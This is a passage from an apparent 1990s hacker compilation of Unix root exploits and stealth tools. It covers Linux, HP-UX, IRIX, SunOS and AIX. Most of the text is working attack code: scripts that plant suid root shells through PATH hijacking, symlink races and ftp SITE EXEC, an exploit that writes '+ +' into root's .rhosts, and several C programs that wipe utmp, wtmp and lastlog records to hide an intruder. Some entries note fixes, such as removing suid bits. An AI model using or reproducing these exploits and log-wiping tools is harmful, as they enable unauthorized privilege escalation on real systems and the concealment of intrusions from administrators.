uid=xxxx(quinlan) gid=xxxx(quinlan) groups=xxxx(quinlan),20(dialout),24(cdrom)
[quinlan:~]$ ls -al /usr/bin/dos
-rwsr-xr-x 1 root root 569576 Oct 24 00:05 /usr/bin/dos
$ ls -al /root/foo
-rw------- 1 root root 1117 Nov 13 23:10 /root/foo
$ dos -F /root/foo
[ Prints /root/foo, which is not readable by user `quinlan'. ]
------- Cut here
I expect there may be other holes in dosemu other than this one that
can be exploited if it is installed setuid root. It took about 60
seconds to find this hole once I realized /usr/bin/dos was setuid
root.
Dan
Note: This security hole can be corrected by removing the suid bit from
/usr/bin/dos:
----------------------------
$ chmod u-s /usr/bin/dos
----------------------------
Jonathan
----------- end of read
..........................................................................
. .
. 11. Doom root killmouse exploit .
. .
..........................................................................
System:
Probably Linux specific. Slackware 3.0 (installs Linux 1.2.13) which
have gpm utility and/or the Doom package installed are vulnerable.
Other distributions might be too.
Impact:
Local users can acquire root status.
Background:
The problem is the killmouse/startmouse command that is part of Doom
package on Linux systems. It is actually a C-wrapper that runs two
scripts (killmouse.sh/startmouse.sh). It runs suid root.
Problem:
I would try to describe the problem but I can't stop laughing.
Exploit:
This can be exploited in a few similar ways. Here's just one. Let's
assume the gpm utility is not running. We can't start it up ourselves
as gpm is only to be run by root. So we'll use startmouse to fire it up:
$ touch /tmp/gpmkilled
$ /usr/games/doom/startmouse
ps -aux | grep gpm
bo 1436 0.0 2.0 40 312 v03 R 16:33 0:00 grep gpm
root 1407 0.0 2.4 42 368 ? S 16:24 0:00 /usr/bin/gpm t ms
Fine, it's running. Now we'll use killmouse to kill the process, but
first we set our umask to 0 and link /tmp/gpmkilled to /root/.rhosts:
$ umask 0
$ ln -s /root/.rhosts /tmp/gpmkilled
$ /usr/games/doom/killmouse
1407 ? S 0:00 gpm t ms
$ ls -l /root/.rhosts
-rw-rw-rw- 1 root users 0 Dec 13 16:44 /root/.rhosts
$ echo localhost bo > /root/.rhosts
$ rsh -l root localhost sh -i
bash#
Bingo. On some systems gpm might not be started in /etc/rc.d/rc.local
so the startmouse script will fail. But gpm might be running already.
If neither of these conditions are met, note that startmouse.sh creates
/tmp/gpmscript and runs it in a shell. There's a window of time between
creating the script and executing it, so we have a nice race condition
here; it can be replaced with anything you like prior to execution.
Solution:
Remove setuid bits of killmouse/startmouse. Better yet - nuke them.
While your at it, nuke Doom too - it's a stupid game anyway :-)
Best regards,
Bo ([email protected])
killmouse exploit
------------------ cut here
/usr/games/doom/startmouse.sh:
#!/bin/sh
if [ -r /tmp/gpmkilled ]; then
/usr/bin/grep gpm /etc/rc.d/rc.local > /tmp/gpmscript
/bin/sh /tmp/gpmscript; /bin/rm /tmp/gpmscript /tmp/gpmkilled
fi
/usr/games/doom/killmouse.sh:
#!/bin/sh
if /bin/ps ax | /usr/bin/grep -v grep | /usr/bin/grep "gpm" ; then
GPM_RUNNING=true; /bin/killall gpm; /bin/touch /tmp/gpmkilled
fi
----------- cut here
..........................................................................
. .
. 12. Root exploit for resize icons .
. .
..........................................................................
There is a security hole in RedHat 2.1, which installs the program
/usr/bin/resizecons suid root. The resizecons program allows a user
to change the videmode of the console. During this process, it runs
the program restoretextmode without an absolute pathname, assuming the
correct version will be found in the path, while running with root
privileges. It then executes setfont in the same manner. By setting
the path to find a rogue restoretextmode, a user can execute an arbitrary
program as root.
As a more amusing aside, the file /tmp/selection.pid is read and the
pid contained within is sent a SIGWINCH, allowing a user on the system
to force a redraw of the screen to an arbitrary process (that handles
SIGWINCH calls) on the machine.
If /usr/bin/resizecons needs to be run by users other than root at the
console, provisions need to be made in the code to execute the outside
utilities with absolute pathnames, and to check access rights on files
before opening.
Program: /usr/bin/resizecons
Affected Operating Systems: Red Hat 2.1 linux distribution
Requirements: account on system
Temporary Patch: chmod -s /usr/bin/resizecons
Security Compromise: root
Author: Dave M. ([email protected])
Synopsis: resizecons runs restoretextmode without an
absolute pathname while executing as root,
allowing a user to substitute the real
program with arbitrary commands.
----------cut here
wozzeck.sh:
#!/bin/sh
#
# wozzeck.sh
# exploits a security hole in /usr/bin/resizecons
# to create a suid root shell in /tmp/wozz on a
# linux Red Hat 2.1 system.
#
# by Dave M. ([email protected])
#
echo ================ wozzeck.sh - gain root on Linux Red Hat 2.1 system
echo ================ Checking system vulnerability
if test -u /usr/bin/resizecons
then
echo ++++++++++++++++ System appears vulnerable.
cd /tmp
cat << _EOF_ > /tmp/313x37
This exploit is dedicated to
Wozz. Use it with care.
_EOF_
cat << _EOF_ > /tmp/restoretextmode
#!/bin/sh
/bin/cp /bin/sh /tmp/wozz
/bin/chmod 4777 /tmp/wozz
_EOF_
/bin/chmod +x /tmp/restoretextmode
PATH=/tmp
echo ================ Executing resizecons
/usr/bin/resizecons 313x37
/bin/rm /tmp/restoretextmode
/bin/rm /tmp/313x37
if test -u /tmp/wozz
then
echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/wozz
else
echo ---------------- Exploit failed
fi
else
echo ---------------- This machine does not appear to be vulnerable.
fi
-------------- cut here
..........................................................................
. .
. 13. Root console exploit for restorefont .
. .
..........................................................................
Linux 'restorefont' Security Holes
by FEH Staff
Linux's svgalib utilities, required to be suid root, have a problem in that
they do not revoke suid permissions before reading a file. This is exploited
in the restorefont utility, but similar bugs exist in other svgalib utilities.
The restorefont utility serves two functions. First, it will read a font from
a file and write it to the console as the font. Second, it will read a font
from the console and write it out to a file. Luckily, the specific bug
in restorefont can only be exploited if someone is at the console, reducing
its overall impact on the security of the system as a whole.
In writing the utilities, the authors are cognizant of the fact that when
writing out the font, suid permissions must first be given up; it is in fact
commented as such in the code. However, when reading in a font, the program
is still running with full suid root permissions. This allows us to read in
any file for the font that root could access (basically, anything).
The applicable code to read in the file is shown below:
#define FONT_SIZE 8192
unsigned char font[FONT_SIZE];
if (argv[1][1] == 'r') {
FILE *f;
f = fopen(argv[2], "rb");
if (f == NULL) {
error:
perror("restorefont");
exit(1);
}
if(1!=fread(font, FONT_SIZE, 1, f))
{
if(errno)
goto error;
puts("restorefont: input file corrupted.");
exit(1);
}
fclose(f);
We can see from this that the file to be read in has to be at least 8k,
as if it is not, the program will produce an error and exit. If the file
is at least 8k, the first 8k are read into the buffer, and the program
proceeds to set whatever the contents of the file are to the font:
vga_disabledriverreport();
vga_setchipset(VGA); /* avoid SVGA detection */
vga_init();
vga_setmode(G640x350x16);
vga_puttextfont(font);
vga_setmode(TEXT);
At this point, the console will now look quite unreadable if you are
reading something other than a font from that file. But, the data that
is put into the font is left untouched and is readable using the -w option
of restorefont. We then read the font back from video memory to a new file,
and our job is complete, we have read the first 8k of a file we shouldn't
have had access to. To prevent detection of having run this, we probably
shouldn't leave an unreadable font on the screen, so we save and then restore
the original font before reading from the file.
The complete exploit is shown below:
Program: restorefont, a svgalib utility
Affected Operating Systems: linux
Requirements: logged in at console
Security Compromise: user can read first 8k of any file of at least
8k in size on local filesystems
Synopsis: restorefont reads a font file while suid root,
writing it to video memory as the current vga
font; anyone at console can read the current
font to a file, allowing you to use video memory
as an 8k file buffer.
-------------
rfbug.sh:
--------------------cut here
#!/bin/sh
restorefont -w /tmp/deffont.tmp
restorefont -r $1
restorefont -w $2
restorefont -r /tmp/deffont.tmp
rm -f /tmp/deffont.tmp
-----------------------------------cut here
..........................................................................
. .
. 14. Root rxvt X server exploit .
. .
..........................................................................
Program: rxvt
Affected Operating Systems: Linux Slackware 3.0, RedHat 2.1, others with
rxvt suid root (and compiled with PRINT_PIPE)
Requirements: account on system, X server
Temporary Patch: chmod -s /usr/X11R6/bin/rxvt
Security Compromise: root
Author: Dave M. ([email protected])
Synopsis: rxvt fails to give up root privileges before
opening a pipe to a program that can be specified
by the user.
Exploit:
1. Set DISPLAY environment variable if necessary so you can use x clients.
2. In user shell:
$ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' > /tmp/rxbug
$ chmod +x /tmp/rxbug
$ rxvt -print-pipe /tmp/rxbug
3. In rxvt xclient:
$ cat
ESC[5i
ESC[4i
(The client will close at this point with a broken pipe)
4. $ /tmp/rxsh
# whoami
root
#
..........................................................................
. .
.15. Root wuftpd exploit .
..........................................................................
The following is gleaned from the BugTraq mailing list:
-------------------------------------------------------
Since Bugtraq is exceptionally quiet lately, I though I should make it
come alive again with this discussion of the bug that was reported in
the wu.ftpd that comes with some Slackware distributions of Linux.
The report was just before Bugtraq went down for a long time, but
I've found the bug still to be present on all the Linux machines that
I have access to. So maybe it needs to be brought a little more in
the open. Here we go:
ObBug: - Short description of the bug
It involves wu.ftpd being misconfigured at compile time and allowing
SITE EXEC access to /bin (for anonymous or otherwise chroot-ed users
this is ~ftp/bin). Now if in this /bin resides a program that gives
access to executables outside /bin, but in the users reach (such as
/bin/bash that gives access to the user's homedir), this opens up
a root vulnerability. This should have been set to /bin/ftp-exec and
which be set by the _PATH_EXECPATH variable in src/pathnames.h before
compiling. The wu-ftpd-2.4_linux.tgz that I found somewhere on the
net has this securely set as default value.
- How to check ?
$ ftp -n localhost
user:
password:
ftp> quote site exec bash -c id
If vulnerable it gives here: uid=0, gid=0, euid=, egid=
Of course, bash should not be available at all
- How to exploit (in case your sysadmin or you think the above is not
a problem)
go to your homedir and make a program: duh.c (or whatever)
main() {
seteuid(0);
setegid(0);
system("/bin/cp /bin/sh ./sh");
system("/bin/chmod 6755 ./sh");
}
$ make duh
$ ftp -n localhost (and login)
user:
password:
ftp> quote site exec bash -c duh
ftp> quit
$ ./sh
bash#
(voila, QED)
- How to fix?
Get the source of wu-ftpd-2.4.linux.tar.gz (stock wu-ftpd-2.4 from wuarchive
doesn't compile on linux) and compile it; you might want to define the
_PATH_PIDNAMES and _PATH_XFERLOG to other values there...(/usr/adm/ftp.pids-%s
and /usr/adm/xferlog for example). If you cannot find that I can email the
source to you,...if you trust the source I took somewhere unmodified and
if you trust me ;-) An arch search for wu-ftpd-2.4 will give you sites too.
I can remember that I got it that way.
$) Henri Karrenbeld
-----------------------------------------------------------------------------
Hardware, n.:
The parts of a computer system that can be kicked.
-----------------------------------------------------------------------------
..........................................................................
. .
. 16. A shell script called gimme, used to read any system file .
..........................................................................
----------------cut here
#! /bin/sh
# GIMME - "gimme' a file"
# Demonstrate rdist's ability to give me permission to access anything.
#
# gimme [ []]
# is the target file.
# is the octal mode to which the file access permission
# should be set. Note that this may not be effective unless
# either the SUID (4000) or SGID (2000) bits are also requested.
# is the target directory for rdist to use if a hard
# link is desired. Note that the user must have permission
# to create this directory, it must be on the same filesystem
# as the target file, and the target file must not be a
# directory. This option is necessary to change the ownership
# of the target if chown() of a symbolic link modifies the
# link itself, and not the file it refers to.
#
dirname=gimme$$
deftemp=/tmp
defperm=6777
if [ $1x = x ]; then
echo "Usage: $0 [ []]" >&2
exit 1
fi
if [ $2x != x ]; then
perm=$2
else
perm=$defperm
fi
if [ $3x != x ]; then
link="ln"
temp=$3/$dirname
target=$1
else
link="ln -s"
temp=$deftemp/$dirname
case $1 in
/*)
target=$1
;;
*)
target=`pwd`/$1
;;
esac
fi
trap "rm -fr $temp; exit 1" 1 2 15
umask 66
mkdir $temp; if [ $? != 0 ]; then
exit 1
fi
set `whoami` $LOGNAME
user=$1
set daemon `groups`
while [ $# != 1 ]; do
shift
done
group=$1
(
echo "t$temp/something"
echo "R0 $perm 1 0 $user $group "
while [ ! -f $temp/rdist* ]; do
sleep 1
done
set $temp/rdist*
rm -f $1
if $link $target $1 >&2; then
echo "" | dd bs=3 conv=sync 2>/dev/null
echo ""
echo 0 > $temp/status
else
echo 1 > $temp/status
fi
exit
) | rdist -Server
status=`cat $temp/status`
rm -fr $temp
exit $status
-----------------------------cut here
*********************************************
* Appendix IV - Other UNIX system utilities *
*********************************************
..........................................................................
. .
. 1. Cloak v1.0 Wipes your presence on SCO, BSD, Ultrix, and HP/UX UNIX .
..........................................................................
------------------ cut here
/* UNIX Cloak v1.0 (alpha) Written by: Wintermute of -Resist- */
/* This file totally wipes all presence of you on a UNIX system*/
/* It works on SCO, BSD, Ultrix, HP/UX, and anything else that */
/* is compatible.. This file is for information purposes ONLY!*/
/*--> Begin source... */
#include
#include
#include
#include
#include
main(argc, argv)
int argc;
char *argv[];
{
char *name;
struct utmp u;
struct lastlog l;
int fd;
int i = 0;
int done = 0;
int size;
if (argc != 1) {
if (argc >= 1 && strcmp(argv[1], "cloakme") == 0) {
printf("You are now cloaked\n");
goto start;
}
else {
printf("close successful\n");
exit(0);
}
}
else {
printf("usage: close [file to close]\n");
exit(1);
}
start:
name = (char *)(ttyname(0)+5);
size = sizeof(struct utmp);
fd = open("/etc/utmp", O_RDWR);
if (fd < 0)
perror("/etc/utmp");
else {
while ((read(fd, &u, size) == size) && !done) {
if (!strcmp(u.ut_line, name)) {
done = 1;
memset(&u, 0, size);
lseek(fd, -1*size, SEEK_CUR);
write(fd, &u, size);
close(fd);
}
}
}
size = sizeof(struct lastlog);
fd = open("/var/adm/lastlog", O_RDWR);
if (fd < 0)
perror("/var/adm/lastlog");
else {
lseek(fd, size*getuid(), SEEK_SET);
read(fd, &l, size);
l.ll_time = 0;
strncpy(l.ll_line, "ttyq2 ", 5);
gethostname(l.ll_host, 16);
lseek(fd, size*getuid(), SEEK_SET);
close(fd);
}
}
---------------cut here
.............................................................................
. .
. 2. invisible.c Makes you invisible, and works on some SunOS without root .
.............................................................................
----------- cut here
/* invisible.c - a quick hack courtesy of the rogue */
/* erases your presence when root, or partially erases when on a sun and not root */
/* peace, dudes */
#include
#include
#include
#include
#include
main(argc, argv)
int argc;
char *argv[];
{
char *name;
struct utmp u;
struct lastlog l;
int fd;
int i = 0;
int done = 0;
int size;
name = (char *)(ttyname(0)+5);
size = sizeof(struct utmp);
fd = open("/etc/utmp", O_RDWR);
if (fd < 0)
perror("/etc/utmp");
else {
while ((read(fd, &u, size) == size) && !done) {
if (!strcmp(u.ut_line, name)) {
done = 1;
memset(&u, 0, size);
lseek(fd, -1*size, SEEK_CUR);
write(fd, &u, size);
close(fd);
}
}
}
memset(&u, 0, size);
fd = open("/var/adm/wtmp", O_RDWR | O_TRUNC);
if (fd < 0)
perror("/var/adm/wtmp");
else {
u.ut_time = 0;
strcpy(u.ut_line, "~");
strcpy(u.ut_name, "shutdown");
write(fd, &u, size);
strcpy(u.ut_name, "reboot");
write(fd, &u, size);
close(fd);
}
size = sizeof(struct lastlog);
fd = open("/var/adm/lastlog", O_RDWR);
if (fd < 0)
perror("/var/adm/lastlog");
else {
lseek(fd, size*getuid(), SEEK_SET);
read(fd, &l, size);
l.ll_time = 0;
strncpy(l.ll_line, "ttyq2 ", 5);
gethostname(l.ll_host, 16);
lseek(fd, size*getuid(), SEEK_SET);
write(fd, &l, size);
close(fd);
}
}
----------- cut here
..........................................................................
. .
. 3. SySV Program that makes you invisible .
..........................................................................
--------- cut here
/* MME - MakeME, Version 1.00 for SySV / Source Compatible machines
MME will allow you to remove yerself from the UTMP file, change
what name appears for you in UTMP, or change what TTY you appear
to be on.
If you modify this program or incorporate some of these routines into
another program, please somewhere in the program tell where you got
them from.. namely, put in some credits to me & This program , so
you don't "playgerize". It makes me mad when someone modifies someone
else's work then pawns it off as their own original piece. The credits
can even be in a comment somewhere in the source instead of visual to
the user.
syntax:
mme
mme login_name
mme login_name new_tty
in order to change tty name, you must first supply a login name
then a ttyname.
You MUST have write perm's to /etc/utmp to modify the main utmp file.
*/
#include
#include
#include
#include
#include
char *mytty; /* For an exact match of ut_line */
char *backup_utmp = "cp /etc/utmp /tmp/utmp.bak";
struct utmp *user;
main(argc,argv)
int argc;
char *argv[];
{
int good= 0,cnt = 0,start = 1,cn = 0, cl = 0,index = 0;
char err[80];
if (argc >= 2) cn = 1;
if (argc == 3) cl = 1;
system(backup_utmp);
printf("Welcome to MME 1.00 By Sir Hackalot\n");
printf("Another PHAZESOFT Productions\n");
printf("Status:");
if (cn == 1) printf("Changing your login to %s\n",argv[1]);
if (cl == 1) printf("Changing your tty to %s\n",argv[2]);
if (cl == 0 && cn == 0) printf("Removing you from utmp\n");
utmpname("/etc/utmp");
/* The Below Section finds OUR entry, even if more than 1 of the same name
of us is logged on. It finds YOUR tty, looks in utmp until it finds
your tty, then "cnt" holds your index number */
mytty = strrchr(ttyname(0),'/'); /* Goto the last "/" */
strcpy(mytty,++mytty); /* Make a string starting one pos greater */
while (good != 1) {
user = getutent();
cnt++;
if (strcmp(user->ut_line,mytty) == 0) good =1;
}
utmpname("/etc/utmp"); /* Reset file pointer */
for(start = 0;start < cnt;start++) {
user = getutent(); /* Move the file pointer to where we are */
}
/* Below: If we did not supply a command line arg to change name, etc,
make us invisible from WHO. WHO only displays USER_PROCESS
types, as does "w", "whodo" and all who variations. You WILL
be seen if they do who -l (or one some systems -L)
if we did supply an argument make SURE we DO show up. */
if (argc == 1) user->ut_type = LOGIN_PROCESS; /* Become invisible */
else user->ut_type = USER_PROCESS;
/* ABove: You can change it to:
else {
user->ut_type = LOGIN_PROCESS;
strcpy(user->ut_name,"LOGIN");
}
to totally hide your-self. On some systems, if you do it, it will go
thru the login process... But that is rare. AT any-rate, for
safety, i left out the strcpy */
/* Below: If we entered a new login name, change to that.
If we entered a new tty, change to that. */
if (argc == 2) strcpy(user->ut_name,argv[1]);
if (argc == 3) strcpy(user->ut_line,argv[2]);
pututline(user); /* Rewrite our new info */
endutent(); /* Tell the utmp functions we are through */
printf("Delete /tmp/utmp.bak if all is well. Else, copy it to /etc/utmp\n");
}
----------- cut here
.........................................................................
. .
. 4. UNIX Port scanner .
.........................................................................
----------- cut here
/*
* internet port scanner
*
* This program will scan a hosts TCP ports printing all ports that accept
* connections, and if known, the service name.
* This program can be trivially altered to do UDP ports also.
*
* Kopywrong (K) Aug. 25, '94 [email protected]
*
* Hey kiddies, this is a C program, to run it do this:
* $ cc -o pscan pscan.c
* $ pscan [max port]
*
* No, this will not get you root.
*
* Changes:
* Changed fprintf to printf in line 34 to work with my Linux 1.1.18 box
* Netrunner 1/18/95 11:30pm
*
*/
static char sccsid[] = "@(#)pscan.c 1.0 (KRAD) 08/25/94";
#include
#include
#include
#include
#include
#define MAX_PORT 1024 /* scan up to this port */
int s;
struct sockaddr_in addr;
char rmt_host[100];
int skan(port)
int port;
{
int r;
s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s < 0) {
/* fprintf("ERROR: socket() failed\n"); */
/* Changed to printf for my Linux 1.1.18 box */
printf("ERROR: socket() failed\n");
exit(0);
}
addr.sin_family = PF_INET;
addr.sin_port = port;
addr.sin_addr.s_addr = inet_addr(rmt_host);
r = connect(s,(struct sockaddr *) &addr, sizeof(addr));
close(s);
if (r < 0) {
return (1 == 0);
}
return (1 == 1);
}
main(argc,argv)
int argc;
char *argv[];
{
int a,b,c,d,e,f;
struct hostent *foo;
struct servent *bar;
if (argc < 2) {
fprintf(stderr,"usage: %s [highest port]\n",argv[0]);
exit(0);
}
if (sscanf(argv[1],"%d.%d.%d.%d",&a,&b,&c,&d) != 4) {
foo = gethostbyname(argv[1]);
if (foo == NULL) {
fprintf(stderr,"error: cannot resolve host %s\n",argv[1]);
exit(0);
}
sprintf(rmt_host,"%d.%d.%d.%d",(unsigned char )foo->h_addr_list[0][0],
(unsigned char ) foo->h_addr_list[0][1],
(unsigned char ) foo->h_addr_list[0][2],
(unsigned char ) foo->h_addr_list[0][3]);
} else {
strncpy(rmt_host,argv[1],99);
}
if (argc > 2) {
f = atoi(argv[2]);
} else
f = MAX_PORT;
fprintf(stdout,"Scanning host %s - TCP ports 1 through %d\n",rmt_host,f);
for (e =1;e<=f;e++) {
char serv[100];
if (skan(e)) {
bar = getservbyport(e,"tcp");
printf("%d (%s) is running.\n",e,(bar == NULL) ? "UNKNOWN" :
bar->s_name);
}
}
}
------------ cut here
.........................................................................
. .
. 5. Remove wtmp entries by tty number or username .
.........................................................................
---------- cut here
/* This program removes wtmp entries by name or tty number */
#include
#include
#include
#include
void usage(name)
char *name;
{
printf("Usage: %s [ user | tty ]\n", name);
exit(1);
}
void main (argc, argv)
int argc;
char *argv[];
{
struct utmp utmp;
int size, fd, lastone = 0;
int match, tty = 0, x = 0;
if (argc>3 || argc<2)
usage(argv[0]);
if (strlen(argv[1])<2) {
printf("Error: Length of user\n");
exit(1);
}
if (argc==3)
if (argv[2][0] == 'l') lastone = 1;
if (!strncmp(argv[1],"tty",3))
tty++;
if ((fd = open("/usr/adm/wtmp",O_RDWR))==-1) {
printf("Error: Open on /usr/adm/wtmp\n");
exit(1);
}
printf("[Searching for %s]: ", argv[1]);
if (fd >= 0)
{
size = read(fd, &utmp, sizeof(struct utmp));
while ( size == sizeof(struct utmp) )
{
if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) :
( !strncmp(utmp.ut_name, argv[1], strlen(argv[1])) ) &&
lastone != 1)
{
if (x==10)
printf("\b%d", x);
else
if (x>9 && x!=10)
printf("\b\b%d", x);
else
printf("\b%d", x);
lseek( fd, -sizeof(struct utmp), L_INCR );
bzero( &utmp, sizeof(struct utmp) );
write( fd, &utmp, sizeof(struct utmp) );
x++;
}
size = read( fd, &utmp, sizeof(struct utmp) );
}
}
if (!x)
printf("No entries found.");
else
printf(" entries removed.");
printf("\n");
close(fd);
}
------------- cut here
............................................................................
. .
. 6. SunOS wtmp editor .
............................................................................
---------- cut here
/*
/var/adm/wtmp editor for Sun's
Written by gab, this will make a file wtmp.tmp then just copy
it over /var/adm/wtmp and chmod 644 it
*/
#include
#include
#include
main(argc,argv)
int argc;
char *argv[];
{
int fp=-1,fd=-1;
struct utmp ut;
int i=0;
char name[8];
if (argc!=2) { fprintf(stderr,"usage: %s accountname\n\r",argv[0]); exit(2);}
strcpy(name,argv[1]);
if (fp=open("/var/adm/wtmp",O_RDONLY)) {
fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
while (read(fp,&ut,sizeof(struct utmp))==sizeof(struct utmp)) {
if (strncmp(ut.ut_name,name,strlen(name))) write(fd,&ut,sizeof(struct utmp));
i++;
}
close(fp);
close(fd);
}
printf("Total: %d\n\r", i);
}
------------ cut here
.......................................................................
. .
. 7. SunOS 4+ Zap your self from wtmp, utmp and lastlog .
.......................................................................
------------- cut here
/*
Title: Zap.c (c) rokK Industries
Sequence: 911204.B
Syztems: Kompiles on SunOS 4.+
Note: To mask yourself from lastlog and wtmp you need to be root,
utmp is go+w on default SunOS, but is sometimes removed.
Kompile: cc -O Zap.c -o Zap
Run: Zap
Desc: Will Fill the Wtmp and Utmp Entries corresponding to the
entered Username. It also Zeros out the last login data for
the specific user, fingering that user will show 'Never Logged
In'
Usage: If you cant find a usage for this, get a brain.
*/
#include
#include
#include
#include
#include
#include
#include
int f;
void kill_tmp(name,who)
char *name,
*who;
{
struct utmp utmp_ent;
if ((f=open(name,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open("/usr/adm/lastlog", O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_tmp("/etc/utmp",argv[1]);
kill_tmp("/usr/adm/wtmp",argv[1]);
kill_lastlog(argv[1]);
printf("Zap!\n");
} else
printf("Error.\n");
}
------------ cut here
************************************
* Appendix V - Other Unix Exploits *
************************************
..........................................................................
. .
. 1. HP-UX Root vhe_u_mnt exploit .
..........................................................................
------- cut here
/***
*
* HP-UX /usr/etc/vhe/vhe_u_mnt bug exploit.
*
* This bug is exhibited in all versions of HP-UX that contain
* /usr/etc/vhe/vhe_u_mnt setuid to root.
*
* This program written by [email protected]
* The exploit code itself written by [email protected]
*
* I found that the exploit code didn't always work due to a race between
* the child and the parent, and that a link() called failed due to
* the fact that user directories and the /tmp are in different file systems
* so you must create a symlink.
* I added in a call to alarm() so that the timing between the two processes
* is ok..
*
***/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define BUGGY_PROG "/usr/etc/vhe/vhe_u_mnt"
#define NAME ""
int test_host()
{ struct utsname name;
uname(&name);
return !strcmp(name.sysname,"HP-UX");
}
int check_mount()
{ struct stat my_buf;
if (stat(BUGGY_PROG, &my_buf))
return 0;
return !((my_buf.st_mode & S_ISUID) != S_ISUID);
}
void pause_handler()
{
signal(SIGALRM,pause_handler);
}
int rhost_user(user)
char *user;
{
struct passwd *info;
char homedir[80];
int fd[2];
int procno;
struct stat my_buf;
int fsize;
info = getpwnam(user);
if (info==NULL) {
fprintf(stderr,"ERROR: Unknown user %s\n",user);
exit(-3);
}
strcpy(homedir,info->pw_dir);
if (homedir[strlen(homedir)-1] != '/')
strcat(homedir,"/");
strcat(homedir,".rhosts");
signal(SIGALRM,pause_handler);
memset(my_buf,0,sizeof(my_buf));
stat(homedir,&my_buf);
fsize = my_buf.st_size;
/* now the exploit code... slightly modified.. but mostly from the source */
/* by [email protected] */
pipe(fd);
if (!(procno=fork())) {
close(0);
dup(fd[0]);
close(fd[1]);
close(1);
close(2);
alarm(2); /* wait for other process */
nice(5);
execl(BUGGY_PROG,NAME,NULL);
} else {
FILE *out;
char listfile[25];
char mntfile[25];
struct stat dummy;
close(1);
dup(fd[1]);
close(fd[0]);
write(1,"+\n",2);
sprintf(listfile,"/tmp/vhe_%d",procno+2);
sprintf(mntfile,"/tmp/newmnt%d",procno+2);
while (stat(listfile,&dummy));
unlink(listfile);
out=fopen(listfile,"w");
fputs("+ +\n",out);
fclose(out);
unlink(mntfile);
symlink(homedir,mntfile);
waitpid(procno,NULL,0);
}
stat(homedir,&my_buf);
return (fsize != my_buf.st_size);
}
void main(argc,argv)
int argc;
char *argv[];
{
int i;
int rhost_root = 0;
char userid[10];
if (!test_host()) {
fprintf(stderr,"ERROR: This bug is only exhibited by HP-UX\n");
exit(-1);
}
if (!check_mount()) {
fprintf(stderr,
"ERROR: %s must exist and be setuid root to exploit this bug\n",
BUGGY_PROG);
exit(-2);
}
for (i=0;(i<5)&&(!rhost_root);i++) {
fprintf(stderr,"Attempting to .rhosts user root..");
if (!rhost_user("root")) {
fprintf(stderr,"failed.\n");
} else {
fprintf(stderr,"succeeded\n");
rhost_root = 1;
}
}
if (!rhost_root) {
/* failed to rhost root, try user 'bin' */
fprintf(stderr,"Too many failures.. trying user bin...");
if (!rhost_user("bin")) {
fprintf(stderr,"failed.\n");
exit(-4);
}
fprintf(stderr,"succeeded.\n");
strcpy(userid,"bin");
} {
strcpy(userid,"root");
}
fprintf(stderr,"now type: \"remsh localhost -l %s csh -i\" to login\n",
userid);
}
--------- cut here
..........................................................................
. .
. 2. IRIX Root mail exploit . .
..........................................................................
---------- cut here
#!/bin/sh
MAIL="/bin/mail"
RM="/bin/rm -f"
CC="/usr/bin/cc"
OS="IRIX"
if [ ".`uname -s`" != ".$OS" ]; then
echo "this box is not running $OS !"
exit 1
fi
echo "creating rewt.c"
cat >rewt.c <<'EOF'
main()
{
setuid(0);
setgid(0);
system("/bin/sh -i");
}
EOF
echo "compiling..."
$CC -o rewt rewt.c
if [ -f rewt ]; then
echo "done"
$RM rewt.c
else
echo "unable to compile rewt.c"
$RM rewt.c
exit 1
fi
# make dummy mail file for -f
echo "making dummy mail file"
cat >dummymail <<'EOF'
From [email protected] Sun Oct 30 00:00:00 1994
Return-Path:
Message-Id:
From: mr.haqr (Mr. Haqr)
Subject: Irix is secure!!@#%$^
To: root (root)
Date: Sun, 30 Oct 1994 00:00:00
gimme sum rewt d00d!
EOF
echo "running $MAIL, type '!rewt' to get root, exit with 'exit' and then 'q'"
$MAIL -f dummymail
echo "deleting evil files"
$RM dummymail rewt rewt.c
exit 0
----------- cut here
.............................................................................
. .
. 3. Root cron grabber - Crontab exploit for OSF/1, AIX 3.2.5, Digital UNIX .
.............................................................................
[crongrab] [public release]
Crontab has a bug. You run crontab -e, then you goto a shell, relink the
temp fire that crontab is having you edit, and presto, it is now your
property. This bug has been confirmed on various versions of OSF/1, Digital
UNIX 3.x, and AIX 3.x
If, while running my script, you somehow manage to mangle up your whole
system, or perhaps do something stupid that will place you in jail, then
neither I, nor sirsyko, nor the other fine folks of r00t are responsible.
Personally, I hope my script eats your cat and causes swarms of locuses to
decend down upon you, but I am not responsible if they do.
--kmem.
[-- Script kiddies cut here -- ]
#!/bin/sh
# This bug was discovered by sirsyko Thu Mar 21 00:45:27 EST 1996
# This crappy exploit script was written by kmem.
# and remember if ur not owned by r00t, ur not worth owning
#
# usage: crongrab
echo Crontab exploit for OSF/1, AIX 3.2.5, Digital UNIX, others???
echo if this did not work on OSF/1 read the comments -- it is easy to fix.
if [ $# -ne '2' ]; then
echo "usage: $0 "
exit
fi
HI_MUDGE=$1
YUMMY=$2
export HI_MUDGE
UNAME=`uname`
GIRLIES="1.awk aix.sed myedit.sh myedit.c .r00t-tmp1"
#SETUP the awk script
cat >1.awk <aix.sed <myedit.sh <.r00t-tmp1
sed -f aix.sed .r00t-tmp1 > $YUMMY
elif [ $UNAME = "OSF1" ]; then
#FOR DIGITAL UNIX 3.X or higher machines uncomment these 2 lines
crontab -e 2>.r00t-tmp1
awk -f 1.awk .r00t-tmp1 >$YUMMY
# FOR PRE DIGITAL UNIX 3.X machines uncomment this line
#crontab -l 2>&1 > $YUMMY
else
echo "Sorry, dont know your OS. But you are a bright boy, read the skript and"
